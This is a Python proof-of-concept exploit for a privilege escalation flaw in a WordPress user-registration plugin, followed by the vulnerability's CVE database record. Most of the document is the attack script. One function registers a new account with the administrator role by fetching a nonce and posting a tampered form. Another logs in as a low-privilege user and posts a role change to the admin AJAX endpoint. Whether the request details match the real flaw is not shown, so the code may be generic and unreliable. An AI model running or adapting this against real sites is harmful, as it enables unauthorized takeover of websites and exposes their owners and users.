CVE-2025-53428

# CVE-2025-53428 PoC - WordPress Simple User Registration Privilege Escalation # This PoC demonstrates privilege escalation via role manipulation import requests import re TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" EMAIL = "[email protected]" PASSWORD = "password123" def get_nonce(url): """Extract security nonce from registration form""" response = requests.get(f"{url}/wp-login.php?action=register") match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) return match.group(1) if match else None def register_user_with_elevated_role(): """Register new user with administrator role""" nonce = get_nonce(TARGET_URL) if not nonce: print("[-] Failed to obtain nonce") return False # Craft payload with elevated role data = { "user_login": USERNAME, "user_email": EMAIL, "user_pass": PASSWORD, "role": "administrator", # Privilege escalation payload "_wpnonce": nonce, "wp-submit": "Register" } response = requests.post( f"{TARGET_URL}/wp-login.php?action=register", data=data, allow_redirects=False ) if response.status_code in [200, 302]: print("[+] User registered with administrator privileges") return True return False def update_existing_user_role(): """Update existing low-privilege user to administrator""" # Login as low-privilege user first session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Get profile page and extract nonce profile_page = session.get(f"{TARGET_URL}/wp-admin/profile.php") nonce = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', profile_page.text) if nonce: # Update role to administrator update_data = { "role": "administrator", "_wpnonce": nonce.group(1), "action": "update" } resp = session.post(f"{TARGET_URL}/wp-admin/admin-ajax.php", data=update_data) if resp.status_code == 200: print("[+] Successfully escalated to administrator") return True return False if __name__ == "__main__": print("[*] CVE-2025-53428 Privilege Escalation PoC") register_user_with_elevated_role()

{"cve": {"id": "CVE-2025-53428", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:51.323", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in N-Media Simple User Registration wp-registration allows Privilege Escalation.This issue affects Simple User Registration: from n/a through <= 6.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-registration/vulnerability/wordpress-simple-user-registration-plugin-6-4-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}